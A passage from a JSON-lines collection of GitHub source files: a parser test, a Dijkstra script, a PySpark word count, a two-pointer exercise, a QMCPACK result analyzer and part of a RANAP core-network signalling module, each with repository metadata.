\"to\": 1,\n            \"make\": 1,\n            \"hi\": 1,\n            \"wai\": 1,\n            \"in\": 1,\n            \"the\": 1,\n            \"univers\": 1,\n        }\n    )\n\n\ndef test_parse_file():\n    test_parser = Parser(\n        input_file=f\"{FILE_PATH}/test_input.txt\",\n        rules_file=f\"{FILE_PATH}/test_stopwords.txt\",\n    )\n    test_parser.parse_file()\n    assert test_parser.final_words == Counter(\n        {\n            \"there\": 1,\n            \"stori\": 1,\n            \"simpl\": 1,\n            \"man\": 1,\n            \"try\": 1,\n            \"to\": 1,\n            \"make\": 1,\n            \"hi\": 1,\n            \"wai\": 1,\n            \"in\": 1,\n            \"the\": 1,\n            \"univers\": 1,\n        }\n    )\n\n\ndef test_insert_top_word():\n    test_parser = Parser(input_file=\"fake.txt\", rules_file=\"fake.txt\")\n    top_words = [(\"a\", 4), (\"b\", 3)]\n    test_parser.insert_top_word(0, top_words, 5, \"c\", 5)\n    assert top_words == [(\"c\", 5), (\"a\", 4), (\"b\", 3)]\n\n\ndef test_insert_top_word_beyond_max():\n    test_parser = Parser(input_file=\"fake.txt\", rules_file=\"fake.txt\")\n    top_words = [(\"a\", 4), (\"b\", 3)]\n    test_parser.insert_top_word(3, top_words, 2, \"c\", 2)\n    assert top_words == [(\"a\", 4), (\"b\", 3)]\n\n\ndef test_get_root_word():\n    test_parser = Parser(input_file=\"fake.txt\", rules_file=\"fake.txt\")\n    root_words = []\n    with open(f\"{FILE_PATH}/test_stem.txt\") as f:\n        for word in f.read().splitlines():\n            root_words.append(test_parser.get_root_word(word))\n    assert root_words == [\"jump\", \"jump\", \"jump\"]\n\n\ndef test_top_words():\n    # Seed random to ensure same results\n    random.seed(1)\n    test_parser = Parser(input_file=\"fake.txt\", rules_file=\"fake.txt\")\n    for letter in string.ascii_lowercase:\n        test_parser.final_words[letter] = random.randint(1, 20)\n    top_words = test_parser.get_top_words(20)\n    print(test_parser.final_words.most_common(20))\n    print(top_words)\n    assert top_words == [\n        (\"p\", 20),\n        (\"b\", 19),\n        (\"u\", 19),\n        (\"f\", 16),\n        (\"h\", 16),\n        (\"l\", 16),\n        (\"g\", 15),\n        (\"r\", 15),\n        (\"o\", 14),\n        (\"i\", 13),\n        (\"n\", 13),\n        (\"w\", 11),\n        (\"d\", 9),\n        (\"s\", 9),\n        (\"t\", 8),\n        (\"j\", 7),\n        (\"a\", 5),\n        (\"e\", 4),\n        (\"k\", 4),\n        (\"v\", 4),\n    ]\n","repo_name":"nrgeil/programming_assignment","sub_path":"test/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9158110691","text":"import sys\n\ndef dijkstra(K,V,graph):\n    INF=sys.maxsize\n    s=[False]*V\n    d=[INF]*V\n    d[K-1]=0\n    while True:\n        m=INF\n        N=-1\n\n        for j in range(V):\n            if not s[j] and m>d[j]:\n                m=d[j]\n                N=j\n\n        if m==INF:\n            break\n\n        s[N]=True\n\n        for j in range(V):\n            if s[j]: continue\n            via=d[N]+graph[N][j]\n            if d[j] > via:\n                d[j] = via\n    return d \n\n\n\n\nINF=sys.maxsize\n\nV,X,Y=map(int,(input().split()))\ngraph=[[INF]*(V) for _ in range(V)]\n\nfor _ in range(V-1):\n    u,v,w=map(int,input().split())\n    graph[u-1][v-1]=w\n    graph[v-1][u-1]=w\n\nfor i in range(V-1):\n    for j in range(V-1):\n        print(graph[i][j] if graph[i][j]!=INF else \"INF\",end=' ')\n    print()\n\n#for d in dijkstra(1,V,graph):\n#    print(d if d!= INF else \"INF\", end= ' ')\n\nd=dijkstra(1,V,graph)\nprint(d)\n\n\n\n\n\n","repo_name":"gitcheol/MyGit","sub_path":"Algorithms/python/15971.py","file_name":"15971.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27665595825","text":"## word count proram in python\n\nfrom pyspark import SparkConf,SparkContext\n\nconf =  SparkConf().setAppName(\"Word Count\")\n\nsc = SparkContext(conf=conf)\n\ndataRDD = sc.textFile(\"hdfs://quickstart.cloudera:8020/user/cloudera/spark/testdata.txt\")\n\n## split each row and flatten the arrays as rows\ndataFlatMap = dataRDD.flatMap(lambda x: x.split(\" \"))\n\n## Assign a vlue 1 for each word\ndataMap =  dataFlatMap.map(lambda x: (x, 1))\n\n## reduce the map by summing up all the 1s against each word which is a key hence reduceByKey\nwordCount =  dataMap.reduceByKey(lambda x, y: x+y)\n\nfor rec in wordCount.collect():\n\tprint(rec)\n\n\n\n\n","repo_name":"krishnapriyaps/CCA_175_Study","sub_path":"pyspark/wordCount.py","file_name":"wordCount.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31791036401","text":"\"\"\"\nauthor : Lee Sang Min\ngithub : https://github.com/sangm1n\ne-mail : dltkd96als@naver.com\n\ntitle : 수들의 합 5\ndescription : Two Pointer\n\"\"\"\n\nN = int(input())\n\ni, j = 1, 2\ntotal = 3\nresult = 0\nwhile i <= N-1 and j <= N:\n    if total < N:\n        j += 1\n        total += j\n    else:\n        if total == N:\n            result += 1\n        i += 1\n        total -= i-1\n\nprint(result + 1)\n","repo_name":"sangm1n/problem-solving","sub_path":"BOJ/2018.py","file_name":"2018.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71125539572","text":"from numpy import array,empty,zeros,sqrt,arange\nfrom generic import obj\nfrom unit_converter import convert\nfrom qmcpack_input import QmcpackInput\nfrom qmcpack_analyzer_base import QAobject,QAanalyzer\nfrom debug import *\n\n\n\nclass ResultAnalyzer(QAanalyzer):\n    None\n#end class ResultAnalyzer\n\n\nclass OptimizationAnalyzer(ResultAnalyzer):\n    def __init__(self,input,opts,energy_weight=None,variance_weight=None,nindent=0):\n        QAanalyzer.__init__(self,nindent=nindent)\n\n        self.opts  = opts\n        self.energy_weight = energy_weight\n        self.variance_weight = variance_weight\n\n\n        ew,vw = energy_weight,variance_weight\n        if ew is None or vw is None:\n            opts_in = []            \n            for qmc in input.simulation.calculations:\n                if qmc.method in self.opt_methods:\n                    opts_in.append(qmc)\n                #end if\n            #end for\n            optin = opts_in[-1] #take cost info from the last optimization section\n            curv,crv,ce = optin.get(['unreweightedvariance','reweightedvariance','energy'])\n            if curv is None and crv is None and ce is None:\n                if optin.minmethod.lower().startswith('oneshift'):\n                    ce  = 1.0 # energy-only for oneshift\n                    crv = 0.0\n                else:\n                    ce  = 0.9 # qmcpack defaults\n                    crv = 0.1\n                #end if\n            #end if\n            if vw is None:\n                vw = 0\n                if crv is not None:\n                    vw += crv\n                #end if\n                if curv is not None:\n                    vw += curv\n                #end if\n            #end if\n            if ew is None:\n                ew = 0\n                if ce is not None:\n                    ew = ce\n                #end if\n            #end if\n        #end if\n\n        if self.optimize=='lastcost':\n            self.optimize = ew,vw\n        #end if\n\n    #end def __init__\n\n\n    def init_sub_analyzers(self):\n        None\n    #end def init_sub_analyzers\n\n    def analyze_local(self):\n        input = QAanalyzer.run_info.input\n        self.info.system = QAanalyzer.run_info.system\n        opts  = obj(self.opts)\n        ew    = self.energy_weight\n        vw    = self.variance_weight\n\n        Efail        = 1e6\n        Vfail        = 1e3\n        EVratio_fail = 0.30\n        EVratio_soft_fail = 0.15\n        \n        #save the energies and variances of opt iterations\n        res = obj()\n        variance_present = False\n        any_complete = False\n        all_complete = True\n        unstable = False\n        any_stable = False\n        for s,opt in opts.items():\n            if s==0:\n                continue\n            #end if\n            complete = opt.info.complete\n            any_complete |= complete\n            all_complete &= complete\n            if complete:\n                fail = False\n                le = opt.scalars.LocalEnergy\n                en     = le.mean\n                enerr  = le.error\n                fail |= abs(en)>Efail\n                if 'LocalEnergyVariance' in opt.scalars:\n                    variance_present = True\n                    lev = opt.scalars.LocalEnergyVariance\n                    va    = lev.mean\n                    vaerr = lev.error\n                    fail |= abs(va)>Vfail or abs(va/en)>EVratio_fail\n                #end if\n                if not fail:\n                    any_stable = True\n                    sres = obj()\n                    sres.en    = en\n                    sres.enerr = enerr\n                    if variance_present:\n                        sres.va    = va\n                        sres.vaerr = vaerr\n                    #end if\n                    res[s] = sres\n                #end if\n                unstable|=fail\n            #end if\n        #end for\n        unstable |= not any_complete\n\n        nseries = len(res)\n        en    = zeros((nseries,),dtype=float)\n        enerr = zeros((nseries,),dtype=float)\n        va    = zeros((nseries,),dtype=float)\n        vaerr = zeros((nseries,),dtype=float)\n\n        series = array(sorted(res.keys()),dtype=int)\n        i = 0\n        for s in series:\n            sres = res[s]\n            en[i]    = sres.en\n            enerr[i] = sres.enerr\n            if variance_present:\n                va[i]    = sres.va\n                vaerr[i] = sres.vaerr\n            #end if\n            i+=1\n        #end for\n                \n\n        self.set(\n            any_complete   = any_complete,\n            all_complete   = all_complete,\n            unstable       = unstable,\n            series         = series,\n            energy         = en,\n            energy_error   = enerr,\n            variance       = va,\n            variance_error = vaerr,\n            )\n\n\n        #find the optimal coefficients\n        optimize = self.optimize\n        if variance_present and optimize=='variance':\n            ew = 0.0\n            vw = 1.0\n        elif optimize=='energy':\n            ew = 1.0\n            vw = 0.0\n        elif optimize=='energy_within_variance_tol' or optimize=='ewvt':\n            None\n        elif optimize=='last':\n            None\n        elif isinstance(optimize,(tuple,list)) and len(optimize)==2:\n            ew,vw = optimize\n        else:\n            self.error('selection for optimization is invalid\\noptimize setting: {0}\\nvalid options are: energy, variance, energy_within_variance_tol, or a length 2 tuple containing the cost of energy and variance, e.g. (.5,.5)'.format(optimize))\n        #end if\n\n        self.failed = True\n        self.optimal_series = None\n        self.optimal_file   = None\n        self.optimal_wavefunction = None\n        if any_stable:\n            if optimize=='energy_within_variance_tol' or optimize=='ewvt':\n                indices = arange(len(series),dtype=int)\n                vartol  = 0.2\n                vmin    = va.min()\n                vind    = indices[abs(va-vmin)/vmin<vartol]\n                index   = vind[en[vind].argmin()]\n                opt_series = series[index]\n            elif optimize=='last':\n                index = len(en)-1\n                opt_series = series[index]\n            else:\n                cost = en*ew+va*vw\n                index = cost.argmin()\n                opt_series = series[index]\n            #end if\n            failed = abs(en[index])>Efail or abs(va[index])>Vfail or abs(va[index]/en[index])>EVratio_soft_fail \n\n            self.failed = failed\n            # In QMCPACK series the optimal parameters are off by 1 index\n            opt_series -= 1\n            self.optimal_series = opt_series\n            self.optimal_file = opts[opt_series].info.files.opt\n            self.optimal_wavefunction = opts[opt_series].wavefunction.info.wfn_xml.copy()\n        #end if\n    #end def analyze_local\n\n\n    def summarize(self,units='eV',norm=1.,energy=True,variance=True,header=True):\n        if isinstance(norm,str):\n            norm = norm.replace('_',' ').replace('-',' ')\n            if norm=='per atom':\n                norm = len(self.info.system.structure.elem)\n            else:\n                self.error('norm must be a number or \"per atom\"\\n you provided '+norm)\n            #end if\n        #end if\n        econv = convert(1.0,'Ha',units)/norm\n        en    = econv*self.energy\n        enerr = econv*self.energy_error\n        va    = econv**2*self.variance\n        vaerr = econv**2*self.variance_error\n        emax = en.max()\n        vmax = va.max()\n        if header:\n            print('Optimization summary:')\n            print('====================')\n        #end if\n        if energy:\n            if header:\n                print('  Energies ({0}):'.format(units))\n            #end if\n            for i in range(len(en)):\n                print('    {0:>2}    {1:9.6f} +/-{2:9.6f}'.format(i,en[i]-emax,enerr[i]))\n            #end for\n            print('    ref {0:9.6f}'.format(emax))\n        #end if\n        if variance:\n            if header:\n                print('  Variances ({0}^2):'.format(units))\n            #end if\n            for i in range(len(en)):\n                print('    {0:>2}    {1:9.6f} +/- {2:9.6f}'.format(i,va[i],vaerr[i]))\n            #end for\n        #end if\n    #end def summarize\n\n\n    def plot_opt_convergence(self,title=None,saveonly=False):\n        if title is None:\n            ts = 'Optimization: Energy/Variance Convergence'\n        else:\n            ts = title\n        #end if\n        from matplotlib.pyplot import figure,subplot,xlabel,ylabel,plot,errorbar,title,xticks,xlim\n\n        opt = self.opts\n        nopt = len(opt)\n        if nopt==0:\n            return\n        #end if\n\n        en    = self.energy\n        enerr = self.energy_error\n        va    = self.variance\n        vaerr = self.variance_error\n\n        #plot energy and variance\n        figure()\n        r = list(range(nopt))\n        subplot(3,1,1)\n        errorbar(r,en,enerr,fmt='b')\n        ylabel('Energy (Ha)')\n        title(ts)\n        xticks([])\n        xlim([r[0]-.5,r[-1]+.5])\n        subplot(3,1,2)\n        errorbar(r,va,vaerr,fmt='r')\n        ylabel('Var. ($Ha^2$)')\n        xticks([])\n        xlim([r[0]-.5,r[-1]+.5])\n        subplot(3,1,3)\n        plot(r,abs(sqrt(va)/en),'k')\n        ylabel('Var.^(1/2)/|En.|')\n        xlabel('Optimization attempts')\n        xticks(r)\n        xlim([r[0]-.5,r[-1]+.5])\n    #end def plot_opt_convergence\n    \n\n    def plot_jastrow_convergence(self,title=None,saveonly=False,optconv=True):\n        if title is None:\n            tsin = None\n        else:\n            tsin = title\n        #end if\n        from matplotlib.pyplot import figure,subplot,xlabel,ylabel,plot,errorbar,title,xticks,xlim\n\n        opt = self.opts\n        nopt = len(opt)\n        if nopt==0:\n            return\n        #end if\n\n        if optconv:\n            self.plot_opt_convergence(saveonly=saveonly)\n        #end if\n\n        #plot Jastrow functions\n        w = opt[0].wavefunction\n        jtypes = w.jastrow_types\n        order = QAobject()\n        for jt in jtypes:\n            if jt in w:\n                order[jt] = list(w[jt].__dict__.keys())\n                order[jt].sort()\n            #end if\n        #end for\n        cs = array([1.,0,0])\n        ce = array([0,0,1.])\n        for jt in jtypes:\n            if jt in w:\n                figure()\n                nsubplots = len(order[jt])\n                n=0\n                for o in order[jt]:\n                    n+=1\n                    subplot(nsubplots,1,n)\n                    if n==1:\n                        if tsin is None:\n                            ts = 'Optimization: '+jt+' Convergence'\n                        else:\n                            ts = tsin\n                        #end if\n                        title(ts)\n                    #end if\n                    for i in range(len(opt)):\n                        f = float(i)/len(opt)\n                        c = f*ce + (1-f)*cs\n                        J = opt[i].wavefunction[jt][o]\n                        J.plot(color=c)\n                    #end for\n                    ylabel(o)\n                #end for\n                xlabel('r (Bohr)')\n            #end if\n        #end for\n    #end def plot_jastrow_convergence\n\n\n#end class OptimizationAnalyzer\n\n\n\n\n\n\nclass TimestepStudyAnalyzer(ResultAnalyzer):\n    def __init__(self,dmc,nindent=0):\n        QAanalyzer.__init__(self,nindent=nindent)\n        self.set(\n            dmc = dmc,\n            timesteps = [],\n            energies  = [],\n            errors    = []\n            )\n    #end def __init__\n\n    def init_sub_analyzers(self):\n        None\n    #end def init_sub_analyzers\n\n    def analyze_local(self):\n        timesteps = []\n        energies  = []\n        errors    = []\n        for dmc in self.dmc:\n            timesteps.append(dmc.info.method_input.timestep)\n            energies.append(dmc.scalars.LocalEnergy.mean)\n            errors.append(dmc.scalars.LocalEnergy.error)\n        #end for\n        timesteps = array(timesteps)\n        energies  = array(energies)\n        errors    = array(errors)\n        order = timesteps.argsort()\n        self.timesteps = timesteps[order]\n        self.energies  = energies[order]\n        self.errors    = errors[order]\n    #end def analyze_local\n\n    def summarize(self,units='eV',header=True):\n        timesteps = self.timesteps\n        energies  = convert(self.energies.copy(),'Ha',units)\n        errors    = convert(self.errors.copy(),'Ha',units)\n        Esmall = energies[0]\n        if header:\n            print('Timestep study summary:')\n            print('======================')\n        #end if\n        for i in range(len(timesteps)):\n            ts,E,Eerr = timesteps[i],energies[i],errors[i]\n            print('    {0:>6.4f}   {1:>6.4f} +/- {2:>6.4f}'.format(ts,E-Esmall,Eerr))\n        #end for\n    #end def summarize\n\n    def plot_timestep_convergence(self):\n        from matplotlib.pyplot import figure,subplot,xlabel,ylabel,plot,errorbar,title,text,xticks,rcParams,savefig,xlim\n\n        params = {'legend.fontsize':14,'figure.facecolor':'white','figure.subplot.hspace':0.,\n          'axes.labelsize':16,'xtick.labelsize':14,'ytick.labelsize':14}\n        rcParams.update(params) \n\n\n        timesteps = self.timesteps\n        energies  = convert(self.energies.copy(),'Ha','eV')\n        errors    = convert(self.errors.copy(),'Ha','eV')\n        Esmall = energies[0]\n\n        figure()\n        tsrange = [0,1.1*timesteps[-1]]\n        plot(tsrange,[0,0],'k-')\n        errorbar(timesteps,energies-Esmall,errors,fmt='k.')\n        text(array(tsrange).mean(),0,'{0:6.4f} eV'.format(Esmall))\n        xticks(timesteps)\n        xlim(tsrange)\n        xlabel('Timestep (Ha)')\n        ylabel('Total Energy (eV)')\n        title('DMC Timestep Convergence')\n\n        savefig('TimestepConvergence.png',format='png',bbox_inches ='tight',pad_inches=1)\n    #end def plot_timestep_convergence\n#end class TimestepStudyAnalyzer\n","repo_name":"QMCPACK/qmcpack","sub_path":"nexus/lib/qmcpack_result_analyzers.py","file_name":"qmcpack_result_analyzers.py","file_ext":"py","file_size_in_byte":13869,"program_lang":"python","lang":"en","doc_type":"code","stars":261,"dataset":"github-code","pt":"21"}
+{"seq_id":"71077811572","text":"__all__ = [\n    'RANAPSigProc',\n    'RANAPConlessSigProc',\n    #\n    'RANAPRelocationPreparation',\n    'RANAPRelocationCancel',\n    'RANAPRABReleaseRequest',\n    'RANAPIuReleaseRequest',\n    'RANAPRelocationDetect',\n    'RANAPRelocationComplete',\n    'RANAPLocationReport',\n    'RANAPInitialUEMessage',\n    'RANAPDirectTransferRNC',\n    'RANAPErrorIndRNC',\n    'RANAPSRNSContextForwardToCN',\n    'RANAPPrivateMessageRNC',\n    'RANAPRABModificationRequest',\n    'RANAPMBMSRegistration',\n    'RANAPMBMSRABEstablishmentInd',\n    'RANAPMBMSRABRelease',\n    'RANAPEnhancedRelocationComplete',\n    'RANAPEnhancedRelocationCompleteConfirm',\n    'RANAPSRVCCPreparation',\n    'RANAPUERegistrationQuery',\n    'RANAPRABAssignment',\n    'RANAPIuRelease',\n    'RANAPRelocationResourceAllocation',\n    'RANAPSRNSContextTransfer',\n    'RANAPSecurityModeControl',\n    'RANAPDataVolumeReport',\n    'RANAPCommonID',\n    'RANAPCNInvokeTrace',\n    'RANAPLocationReportingControl',\n    'RANAPDirectTransferCN',\n    'RANAPErrorIndCN',\n    'RANAPSRNSDataForwarding',\n    'RANAPSRNSContextForwardToRNC',\n    'RANAPPrivateMessageCN',\n    'RANAPCNDeactivateTrace',\n    'RANAPLocationRelatedData',\n    'RANAPUESpecificInformation',\n    'RANAPMBSMSessionStart',\n    'RANAPMBMSSessionUpdate',\n    'RANAPMBMSSessionStop',\n    'RANAPMBMSUELinking',\n    'RANAPMBMSCNDeregistration',\n    'RANAPUERadioCapabilityMatch',\n    'RANAPRerouteNASRequest',\n    #\n    'RANAPResetRNC',\n    'RANAPResetCN',\n    'RANAPPaging',\n    'RANAPOverloadControlRNC',\n    'RANAPOverloadControlCN',\n    'RANAPErrorIndConlessRNC',\n    'RANAPErrorIndConlessCN',\n    'RANAPResetResourceRNC',\n    'RANAPResetResourceCN',\n    'RANAPUplinkInformationTransfer',\n    'RANAPInformationTransfer',\n    'RANAPDirectInformationTransferRNC',\n    'RANAPDirectInformationTransferCN',\n    #\n    'RANAPProcRncDispatcher',\n    'RANAPProcCnDispatcher',\n    'RANAPConlessProcRncDispatcher',\n    'RANAPConlessProcCnDispacther'\n    ]\n\nfrom .utils     import *\nfrom .ProcProto import *\n\n#------------------------------------------------------------------------------#\n# RANAP signalling procedure\n# TS 25.413, version d20\n# Core Network side\n#------------------------------------------------------------------------------#\n\nclass RANAPSigProc(LinkSigProc):\n    \"\"\"RANAP connection-oriented signalling procedure handler\n    \n    instance attributes:\n        - Name  : procedure name\n        - Iu    : reference to the Iu[C|P]Sd instance running this procedure\n        - RNC   : reference to the HNBd instance connected by Iu\n        - Server: reference to the CorenetServer instance handling the RNC\n        - UE    : reference to the UEd instance connected by Iu\n        - Desc  : ASN.1 procedure description\n        - Code  : procedure code\n        - Crit  : procedure criticality\n        - Cont  : ASN.1 procedure PDU(s) content\n        - Encod : custom PDU encoders with fixed values\n        - Decod : custom PDU decoders with transform functions\n    \"\"\"\n    \n    TRACK_PDU = True\n    \n    # for UE-related signalling\n    UE = None\n    \n    def __init__(self, iud):\n        #\n        self.Name   = self.__class__.__name__\n        self.Iu     = iud\n        self.RNC    = iud.RNC\n        self.Server = iud.RNC.Server\n        if iud.UE:\n            self.UE = iud.UE\n        else:\n            self._log('WNG', 'no UEd instance attached')\n        #\n        # to store PDU traces\n        self._pdu = []\n        # list of PDU to be sent to the HNB\n        self._pdu_tx = []\n        # enable NAS procedure to set callback to .postprocess() before self terminates\n        self._cb = None\n        #\n        self._log('DBG', 'instantiating procedure')\n    \n    def _log(self, logtype, msg):\n        self.Iu._log(logtype, '[%s] %s' % (self.Name, msg))\n    \n    def _recv(self, pdu_rx):\n        if self.TRACK_PDU:\n            self._pdu.append( (time(), 'UL', pdu_rx) )\n        self.errcause, self.UEInfo = None, {}\n        try:\n            self.decode_pdu(pdu_rx, self.UEInfo)\n        except Exception as err:\n            self._err = err\n            self._log('ERR', 'decode_pdu (%s), sending error indication' % err)\n            # error cause: protocol, abstract-syntax-error-reject\n            self.errcause = ('protocol', 100)\n    \n    def recv(self, pdu_rx):\n        self._recv(pdu_rx)\n        self._log('ERR', 'recv() not implemented')\n    \n    def _send(self):\n        if self.TRACK_PDU:\n            for pdu in self._pdu_tx:\n                self._pdu.append( (time(), 'DL', pdu) )\n        return self._pdu_tx\n    \n    def send(self):\n        self._log('ERR', 'send() not implemented')\n        return self._send()\n    \n    def trigger(self):\n        return []\n    \n    def abort(self):\n        if self.Code in self.Iu.Proc:\n            del self.Iu.Proc[self.Code]\n        self._log('INF', 'aborting')\n\n\nclass RANAPConlessSigProc(LinkSigProc):\n    \"\"\"RANAP connection-less signalling procedure handler\n    \n    instance attributes:\n        - Name  : procedure name\n        - RNC   : reference to the HNBd instance connected by Iu\n        - Server: reference to the CorenetServer instance handling the RNC\n        - Desc  : ASN.1 procedure description\n        - Code  : procedure code\n        - Crit  : procedure criticality\n        - Cont  : ASN.1 procedure PDU(s) content\n        - Encod : custom PDU encoders with fixed values\n        - Decod : custom PDU decoders with transform functions\n    \"\"\"\n    \n    TRACK_PDU = True\n    \n    def __init__(self, rncd):\n        #\n        self.Name   = self.__class__.__name__\n        self.RNC    = rncd\n        self.Server = rncd.Server\n        #\n        # to store PDU traces\n        self._pdu = []\n        # list of PDU to be sent to the HNB\n        self._pdu_tx = []\n        #\n        self._log('DBG', 'instantiating procedure')\n    \n    def _log(self, logtype, msg):\n        self.RNC._log(logtype, '[%s] %s' % (self.Name, msg))\n    \n    def _recv(self, pdu_rx):\n        if self.TRACK_PDU:\n            self._pdu.append( (time(), 'UL', pdu_rx) )\n        self.errcause, self.RNCInfo = None, {}\n        try:\n            self.decode_pdu(pdu_rx, self.RNCInfo)\n        except Exception as err:\n            self._err = err\n            self._log('ERR', 'decode_pdu (%s), sending error indication' % err)\n            # error cause: protocol, abstract-syntax-error-reject\n            self.errcause = ('protocol', 100)\n    \n    def recv(self, pdu_rx):\n        self._recv(pdu_rx)\n        self._log('ERR', 'recv() not implemented')\n    \n    def _send(self):\n        if self.TRACK_PDU:\n            for pdu in self._pdu_tx:\n                self._pdu.append( (time(), 'DL', pdu) )\n        return self._pdu_tx\n    \n    def send(self):\n        self._log('ERR', 'send() not implemented')\n        return self._send()\n    \n    def trigger(self):\n        return []\n    \n    def abort(self):\n        if self.Code in self.RNC.ProcRanap:\n            del self.RNC.ProcRanap[self.Code]\n        self._log('INF', 'aborting')\n\n\nclass RANAPRABAssignment(RANAPSigProc):\n    \"\"\"RAB Assignment: TS 25.413, section 8.2\n    \n    CN-initiated\n    request-response(s)\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 41: RAB_ReleaseList (O)\n      - 54: RAB_SetupOrModifyList (O)\n      Extensions:\n      - 233: UE_AggregateMaximumBitRate (O)\n      - 239: MSISDN (O)\n    Outcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 35: RAB_FailedList (O)\n      - 38: RAB_QueuedList (O)\n      - 39: RAB_ReleaseFailedList (O)\n      - 43: RAB_ReleasedList (O)\n      - 52: RAB_SetupOrModifiedList (O)\n      Extensions:\n      - 110: GERAN_Iumode_RAB_FailedList_RABAssgntResponse (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.rAB_Assignment\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # TODO: currently, only the creation of RAB is handled here\n    # the deletion of RAB should also be implemented at least, to support\n    # the NAS SM procedure DeactivatePDPCtxtReq\n    \n    def send(self):\n        if hasattr(self, '_gtp_add_mobile_nsapi'):\n            self._enable_gtpu()\n        # in case of RAB teardown, we wait for the outcome to disable the GTP tunnels\n        return self._send()\n    \n    def _enable_gtpu(self):\n        if hasattr(self, '_gtp_add_mobile_nsapi'):\n            for nsapi in self._gtp_add_mobile_nsapi:\n                pdpcfg = self.Iu.SM.PDP[nsapi]\n                rabcfg = pdpcfg['RAB']\n                pdpcfg['state'] = 1\n                self.UE.Server.GTPUd.add_mobile(\n                    rabcfg['SGW-GTP-TEID'], # teid_ul\n                    pdpcfg['PDPAddr'], # mobile_addr\n                    (rabcfg['SGW-TLA'], rabcfg['HNB-TLA']), # local gtpu addr, hnb gtpu ip (maybe None)\n                    rabcfg['HNB-GTP-TEID']) # teid_dl (maybe None)\n        else:\n            self._log('WNG', 'enable_gtpu: no GTP mobile info provided')\n    \n    def _disable_gtpu(self):\n        if hasattr(self, '_gtp_rem_mobile_nsapi'):\n            for nsapi in self._gtp_rem_mobile_nsapi:\n                if nsapi in self.Iu.SM.PDP:\n                    pdpcfg = self.Iu.SM.PDP[nsapi]\n                    self.Server.GTPUd.rem_mobile(pdpcfg['RAB']['SGW-GTP-TEID'])\n                    pdpcfg['state'] = 0\n        else:\n            self._log('WNG', 'disable_gtpu: no GTP mobile info provided')\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        try:\n            del self.Iu.Proc[self.Code]\n        except Exception:\n            pass\n        #\n        if self.errcause:\n            self.success = False\n            self._log('WNG', 'error in the response decoding')\n            if hasattr(self, '_gtp_add_mobile_nsapi'):\n                self._gtp_rem_mobile_nsapi = self._gtp_add_mobile_nsapi\n            if hasattr(self, '_gtp_rem_mobile_nsapi'):\n                self._disable_gtpu()\n        else:\n            self.success = True\n            if hasattr(self, '_gtp_add_mobile_nsapi'):\n                self._gtp_rem_mobile_nsapi = []\n            # TODO: rablists are sequence of sequence of rabitem...\n            # here we go over all 1st level item\n            # and take the 1st item of the previous selection to call it \"rabitem\"\n            # in case rabitem are sequenced at the 2nd level, we won't see them...\n            #\n            if 'RAB_SetupOrModifiedList' in self.UEInfo:\n                # RAB successfully established, to be completed with eNB IP and TEID\n                for rabitem in self.UEInfo['RAB_SetupOrModifiedList']:\n                    rabitem = rabitem[0]['value'][1]\n                    nsapi   = rabitem['rAB-ID'][0]\n                    if nsapi in self._gtp_add_mobile_nsapi:\n                        rabcfg = self.Iu.SM.PDP[nsapi]['RAB']\n                        tla = rabitem['transportLayerAddress']\n                        if tla[1] == 32:\n                            # raw IPv4 address\n                            rabcfg['HNB-TLA'] = inet_ntoa(uint_to_bytes(*rabitem['transportLayerAddress']))\n                        elif tla[1] == 160:\n                            # X.213 addr\n                            x213pref = tla[0]>>136\n                            if x213pref>>16 == 0x35 and x213pref & 0xffff == 1:\n                                # IPv4 address\n                                rabcfg['HNB-TLA'] = inet_ntoa(uint_to_bytes((tla[0]>>104)&0xffffffff, 32))\n                        if rabcfg['HNB-TLA'] is None:\n                            self._log('WNG', 'no IPv4 TLA provided')\n                            self._gtp_rem_mobile_nsapi.append(nsapi)\n                        else:\n                            if rabitem['iuTransportAssociation'][0] == 'gTP-TEI':\n                                rabcfg['HNB-GTP-TEID'] = bytes_to_uint(rabitem['iuTransportAssociation'][1], 32)\n                                # activate the GTP DL parameters\n                                self.Server.GTPUd.set_mobile_dl(\n                                    rabcfg['SGW-GTP-TEID'], # teid_ul\n                                    ran_ip=(rabcfg['SGW-TLA'], rabcfg['HNB-TLA']),\n                                    teid_dl=rabcfg['HNB-GTP-TEID'])\n                            else:\n                                self._log('WNG', 'no GTP TEID provided')\n                                self._gtp_rem_mobile_nsapi.append(nsapi)\n            #\n            if 'RAB_FailedList' in self.UEInfo:\n                # RAB failed to establish, to be disabled\n                for rabitem in self.UEInfo['RAB_FailedList']:\n                    rabitem = rabitem[0]['value'][1]\n                    nsapi   = rabitem['rAB-ID'][0]\n                    if nsapi in self._gtp_add_mobile_nsapi:\n                        self._gtp_rem_mobile_nsapi.append(nsapi)\n                        self._log('INF', 'unable to establish RAB %i, cause %r'\\\n                                  % (nsapi, rabitem['cause']))\n            #\n            if 'RAB_QueueList' in self.UEInfo:\n                self._log('WNG', 'handling of RAB-QueueList not implemented')\n                # TODO\n            #\n            if 'RAB_ReleaseFailedList' in self.UEInfo:\n                # RAB failed to be toredown\n                for rabitem in self.UEInfo['RAB_ReleaseFailedList']:\n                    rabitem = rabitem[0]['value'][1]\n                    nsapi   = rabitem['rAB-ID'][0]\n                    if nsapi in self._gtp_rem_mobile_nsapi:\n                        self._log('INF', 'unable to release RAB %i, cause %r'\\\n                                  % (nsapi, rabitem['cause']))\n            #\n            if 'RAB_ReleasedList' in self.UEInfo:\n                # RAB successfully tore down\n                for rabitem in self.UEInfo['RAB_ReleasedList']:\n                    rabitem = rabitem[0]['value'][1]\n                    nsapi   = 